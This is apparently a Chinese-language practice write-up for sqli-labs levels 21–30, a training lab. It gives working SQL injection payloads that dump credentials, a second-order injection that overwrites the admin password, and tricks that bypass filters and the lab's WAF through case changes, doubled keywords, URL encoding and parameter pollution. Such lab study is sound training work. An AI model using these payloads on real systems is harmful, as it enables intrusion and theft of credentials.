[练习]sqli-lab 21~30

sqli-lab less 21~30

这部分的题目注入难度开始提升了 |д` )

burpsuite 花屏重影问题经过换了无数次版本 JDK 和重新下载 bp 仍无法解决,被迫换到 linux 环境,花了一晚上才配好 kali。。


Less-21

依旧是 cookie 注入,不过闭合方式改为了id='1'其余步骤同 less-20

less21-1.png


Less-22

闭合方式改为双引号,其余均与上题相同


Less-23

这题先审计一下代码

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

这关过滤了“#”和 "--" 两个注释符

有查询回显和报错,可以使用联合注入和报错,这里用联合注入

可以在注入语句末尾加上单引号,构造闭合语句

同时从这关开始 sql 语句变成这样

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

SELECT 的是 * 了,因为在进行注入查询的时候,往往只需要查询表名,字段名和账号密码等,所以需要在注入语句后面加上where 1=1或者or 1=1来构造使语句逻辑恒真不报错。(一开始没意识到这个地方,每关都卡了好久。。。|д`)

先查数据名

?id=0' union select 1,database(),3 or '1'='

查表名

?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() or 1='

less23-1.png

查字段名

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or 1='

less23-2.png

?id=0' union select 1,2,group_concat(username,":",password) from users where 1 or 1='

less23-3.png


Less-24

less24-1.png

二次注入

原理简单讲就是,服务器对于单引号,斜杠等没有过滤或者过滤不严谨,将含有敏感字符的数据存入数据库内,导致下次取出的时候造成注入。

直接上 payload

注册账户:
账号:admin'#
密码:admin

修改密码
账号:admin'#
新密码:123456

成功修改账户 admin 的密码

less24-2.png


Less-25

这关过滤了 and 和 or,可以用双写绕过

查表名

?id=0' union select 1,database(),3 --+

less25-1.png

后续步骤与 less-1 相同,不再赘述

关键代码

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/AND/i',"", $id);		//Strip out AND (non case sensitive)
	return $id;
}
/i表示不对大小写敏感

Less-25a

与 25 差不多,屏蔽了错误信息的输入,除无法使用报错注入外,其余步骤均与 less-25 相同

ps:25a 是数字型的注入。。一开始没有想到,尝试闭合了半天都不行。。


Less-26

这关在过滤 and 和 or 的基础上过滤了空格和注释符 (包括 -,#,/,/*),可以使用 url 编码进行转义

%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
%0A 空格
||	or
&&	and

先进行闭合尝试,输入两个单引号闭合成功, 加上括号闭合失败,所以闭合方式就是单引号

?id=1''

查数据库名

?id=0'%a0union%a0select%a01,2,database()'

less26-1png.png

查表

?id=0'%a0union%a0select%a01,2,group_concat(table_name)%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()%a0oorr'1'='

查字段名

?id=0'%a0union%a0select%a01,2,group_concat(column_name)%a0from%a0infoorrmation_schema.columns%a0where%a0table_name='users'%a0oorr'1'='

查字段内容

?id=0'%a0union%a0select%a01,2,group_concat(username,":",passwoorrd)%a0from%a0users%a0where%a0'1'='1

less26-2.png

where '1'='1作用同or 1='

关键代码

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}

Less-26a

同 25a,26a 屏蔽了报错内容,且闭合方式改为id=('value')可以使用联合注入和盲注

1 和 1"正常回显,1' 报错,判断为单引号字符型,但是还要判断是否有小括号

判断小括号有几种方法 (需先判断单双引号):

1.2'&&'1'='1

  • 若查询语句为where id='$id',查询时是where id='2'&&'1'='1',结果是where id='2',回显会是id=2
  • 若查询语句为where id=('$id'),查询时是where id=('2'&&'1'='1'),MySQL 将'2'作为了 Bool 值,结果是where id=('1'),回显会是id=1

2.1')||'1'=('1

  • 若查询语句有小括号正确回显,若无小括号错误回显(无回显)

其余步骤均与 less26 相同

关键代码

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
{
	echo '<font color= "#FFFF00">';
	//print_r(mysql_error());
	echo "</font>";  
}

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}

Less-27

这看样子应该是在上一关的基础上又过滤了 select 和 union

union 可以用双写绕过,select 则是采用大小写绕过

先测试一下,应该是字符型注入,按上面的方法测试一下有没有括号

less27-1.png

回显的是 id=2 的账户,可以确定没有小括号

查表名

?id=0'%a0ununionion%a0sElect%a01,2,database()'

less27-2.png

查表名

/?id=0'%a0ununionion%a0sElect%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema=database()%a0or%a0'1'='

查字段名

?id=0'%a0ununionion%a0sElect%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_name="users"%a0or%a0'1'='

less27-3.png

查字段内容

?id=0'%a0ununionion%a0sElect%a01,2,group_concat(
username,":",password)%a0from%a0users%a0where%a0'1'='1

less27-4.png

关键代码

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}
/m为多行匹配
/s默认情况下的圆点.是匹配除换行符 \n 之外的任何字符,加上 s 修饰符之后,.中包含换行符 \n。
  再这里没有什么实际用处

Less-27a

同 27,只是闭合方式改为双引号, 同时屏蔽了报错信息抛出,无法使用报错注入


Less-28

闭合方式改为id=('id')

还有就是正则匹配规则有稍作修改,联合注入的话不能使用 %a0 来代替空格,不过可以使用其他转义字符代替,同时依然不能使用报错注如。不同系统的下转义字符转移的结果可能略有不同,以实际情况为准

查数据库名

?id=0')%0bunion%0bselect %0a1,database(),3%a0or('1')=('1

less28-1.png

成功,后续步骤同上

关键代码

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
$id= preg_replace('/[--]/',"", $id);				//Strip out --.
$id= preg_replace('/[#]/',"", $id);					//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.
return $id;
}
\s表示匹配任何空白字符,包括空格、制表符、换页符等等。

Less-28a

标题变成了了 only

less28a-1png.png

测试了一下除了 select 和 union,其他的字符都没有过滤,变简单了 ~

步骤就和上题差不多,但是不用各种麻烦的转义了

关键代码

function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
//$id= preg_replace('/[--]/',"", $id);				//Strip out --.
//$id= preg_replace('/[#]/',"", $id);					//Strip out #.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out spaces.
return $id;
}
全注释掉了~

Less-29

这题开始有 WAF 保护了,如果默认直接进 less-29 其实是没有 WAF 保护的,要在 URL 后面加上/login.php

这样才有 WAF 保护

http://127.0.0.1/sqli-labs-master/Less-29/login.php

之前没有接触过 WAF,这题还是先分析一下 WAF 的代码吧

if(isset($_GET['id']))
{
	$qs = $_SERVER['QUERY_STRING'];//获得字符串"id=...."
	$hint=$qs;
	$id1=java_implimentation($qs);//把输入先送进这个函数过滤一下
	$id=$_GET['id'];
	whitelist($id1);//二次过滤


	$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
	$result=mysql_query($sql);
	$row = mysql_fetch_array($result);
	if($row)
	{
	  	echo 'Your Login name:'. $row['username'];
	  	echo 'Your Password:' .$row['password'];
  	}
	else 
	{
		print_r(mysql_error());
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

function whitelist($input)
{
	$match = preg_match("/^\d+$/", $input);//匹配单独数字字符,且匹配多次
	if($match)
	{
	}
	else
	{
		header('Location: hacked.php');//如果没匹配到则重定向
	}
}

function java_implimentation($query_string)
{
	$q_s = $query_string;
	$qs_array= explode("&",$q_s);//以&符号为分隔符,将字符串打散成字符串

	foreach($qs_array as $key => $value)
	{
		$val=substr($value,0,2);
		if($val=="id")//如果在输入的前两位匹配到了id
		{
			$id_value=substr($value,3,30); 
			return $id_value;//返回'id'后面的字符串
			break;
		}
	}
}

所以这里需要构造两个 id 便可绕过 WAF

?id=1&&id=0' union select 1,2,database() #

less29-1.png

后与步骤与以往题目相同,不再重复


Less-30

除了闭合方式外,其他均与 less-29 相同


总结

字符型探测单双引号闭合的方式:在查询数据后面加上单引号或者双引号,如果加一个报错,加两个正常回显,则为该符号闭合

在测试完单双引号闭合后,往往需要再尝试是否使用括号闭合,以括号 + 单引号为例

1.2'&&'1'='1

  • 若查询语句为where id='$id',查询时是where id='2'&&'1'='1',结果是where id='2',回显会是id=2
  • 若查询语句为where id=('$id'),查询时是where id=('2'&&'1'='1'),MySQL 将'2'作为了 Bool 值,结果是where id=('1'),回显会是id=1

2.1')||'1'=('1

  • 若查询语句有小括号正确回显,若无小括号错误回显(无回显)

ps:建议两个方法都试一遍保证结果准确性

对于常规过滤的绕过方式:双写绕过,大小写绕过,url 编码绕过

常见的 url 编码

%09TAB 键(水平)
%0a新建一行
%0c新的一页
%0dreturn 功能
%0bTAB 键(垂直)
%a0空格
%0A空格
||or
&&and

这次练习所遇到的正则表达式修饰符和元字符

/m为多行匹配
/s默认情况下的圆点.是匹配除换行符 \n 之外的任何字符,加上 s 修饰符之后,.中包含换行符 \n。
  再这里没有什么实际用处
/i表示不对大小写敏感